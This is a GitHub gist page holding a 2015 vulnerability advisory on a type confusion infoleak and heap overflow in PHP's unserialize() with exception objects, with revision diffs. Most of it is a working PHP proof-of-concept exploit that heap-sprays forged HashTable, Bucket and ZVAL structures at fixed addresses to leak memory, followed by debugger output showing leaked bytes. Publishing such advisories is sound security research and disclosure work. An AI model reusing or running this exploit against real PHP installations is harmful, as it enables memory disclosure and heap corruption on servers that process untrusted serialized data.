Last active
August 29, 2015 14:20
-
-
Save chtg/4f57d0392ee8937d3e94 to your computer and use it in GitHub Desktop.
Revisions
-
chtg revised this gist
Apr 28, 2015 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -193,7 +193,7 @@ function zhash($key) $key = substr($key, -$len); for ($i = 0; $i < $len; $i++) { $hash = (($hash << 5) + $hash) + ord($key{$i}); } return $hash; } -
chtg revised this gist
Apr 28, 2015 . No changes.There are no files selected for viewing
-
chtg revised this gist
Apr 28, 2015 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -193,9 +193,9 @@ function zhash($key) $key = substr($key, -$len); for ($i = 0; $i < $len; $i++) { $hash = (($hash << 5) + $hash) + ord($key{$i}); } return $hash; } ?> ``` -
chtg revised this gist
Apr 28, 2015 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -6,8 +6,8 @@ Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3 - Release Affected Versions ------------ Affected is PHP 5.6 < 5.6.8 Affected is PHP 5.5 < 5.5.24 Affected is PHP 5.4 < 5.4.40 Credits -
chtg revised this gist
Apr 28, 2015 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -72,7 +72,7 @@ The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTabl } ``` There is using signed integer arithmetic in erealloc(). The memcpy() function's third parameter is a unsiged integer. The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow. Proof of Concept Exploit ------------ -
chtg created this gist
Apr 28, 2015 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,216 @@ # Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3 - Release Date: 2015.4.28 > A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow. Affected Versions ------------ Affected is PHP 5.6 < 5.6.8 Affected is PHP 5.5 < 5.5.24 Affected is PHP 5.4 < 5.4.40 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` ZEND_METHOD(exception, getTraceAsString) { zval *trace; char *res, **str, *s_tmp; int res_len = 0, *len = &res_len, num = 0; DEFAULT_0_PARAMS; res = estrdup(""); str = &res; trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC); zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num); ... static int _build_trace_string(zval **frame TSRMLS_DC, int num_args, va_list args, zend_hash_key *hash_key) /* {{{ */ { char *s_tmp, **str; int *len, *num; long line; HashTable *ht = Z_ARRVAL_PP(frame); zval **file, **tmp; ... TRACE_APPEND_KEY("class"); TRACE_APPEND_KEY("type"); TRACE_APPEND_KEY("function"); ... #define TRACE_APPEND_KEY(key) \ if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \ if (Z_TYPE_PP(tmp) != IS_STRING) { \ zend_error(E_WARNING, "Value for %s is no string", key); \ TRACE_APPEND_STR("[unknown]"); \ } else { \ TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \ } \ } ``` The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTable and a fake Bucket. So we can supply a fake sring-type ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro, causing a crash or an information leak. ``` #define TRACE_APPEND_STRL(val, vallen) \ { \ int l = vallen; \ *str = (char*)erealloc(*str, *len + l + 1); \ memcpy((*str) + *len, val, l); \ *len += l; \ } ``` The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. This is using signed integer arithmetic and memcpy() function's third parameter is a unsiged integer. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20. ``` <?php ini_set("memory_limit", -1); setup_memory(); $x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}'); echo $x, "\n"; function setup_memory() { global $str, $hashtable; $base = 0x114000000 + 0x20; $bucket_addr = $base; $zval_delta = 0x100; $hashtable_delta = 0x200; $zval_addr = $base + $zval_delta; $hashtable_addr = $base + $hashtable_delta; $bucket = "\x01\x00\x00\x00\x00\x00\x00\x00"; $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00"; $bucket .= ptr2str($bucket_addr + 3*8); $bucket .= ptr2str($zval_addr); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(zhash('class')); $bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00"; $bucket .= ptr2str($bucket_addr + 3*8 + 9*8); $bucket .= ptr2str($zval_addr + 5*8 + 6); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str($zval_addr + 2*5*8 + 2*6); $bucket .= ptr2str($bucket_addr); $bucket .= ptr2str($bucket_addr + 9*8); $hashtable = "\x00\x00\x00\x00"; $hashtable .= "\x01\x00\x00\x00"; $hashtable .= "\x03\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00"; $hashtable .= ptr2str(0); $hashtable .= ptr2str($bucket_addr); $hashtable .= ptr2str($bucket_addr + 9*8); $hashtable .= ptr2str($bucket_addr + 18*8); $hashtable .= ptr2str(0); $hashtable .= "\x00"; $hashtable .= "\x00"; $zval = ptr2str($hashtable_addr); $zval .= ptr2str(0); $zval .= "\x00\x00\x00\x00"; $zval .= "\x04"; $zval .= "\x00"; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0x100352572); $zval .= ptr2str(0x16); $zval .= "\x00\x00\x00\x00"; $zval .= "\x06"; $zval .= "\x00"; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(hexdec(bin2hex(strrev('class')))); $part = str_repeat("\x73", 4096); for ($j = 0; $j < strlen($bucket); $j++) { $part[$j] = $bucket[$j]; } for ($j = 0; $j < strlen($hashtable); $j++) { $part[$j + $hashtable_delta] = $hashtable[$j]; } for ($j = 0; $j < strlen($zval); $j++) { $part[$j + $zval_delta] = $zval[$j]; } $str = str_repeat($part, 1024*1024*256/4096); } function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function zhash($key) { $hash = 5381; $key = $key; $len = strlen($key) + 1; for (; $len >= 8; $len -= 8) { for ($i = 0; $i < 8; $i++) { $hash = (($hash << 5) + $hash) + ord($key{$i}); } } $key = substr($key, -$len); for ($i = 0; $i < $len; $i++) { $hash = (($hash << 5) + $hash) + ord($key{$i}); } return $hash; } ?> ``` Test the PoC on the command line, then output some memory blocks: ``` $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run tcpoc.php Process 1825 launched: '/usr/bin/php' (x86_64) exception 'Exception' in tcpoc.php:7 Stack trace: #0 [internal function]: UH??AWAVSPI??I??H????() #1 {main} Process 1825 exited with status = 0 (0x00000000) ```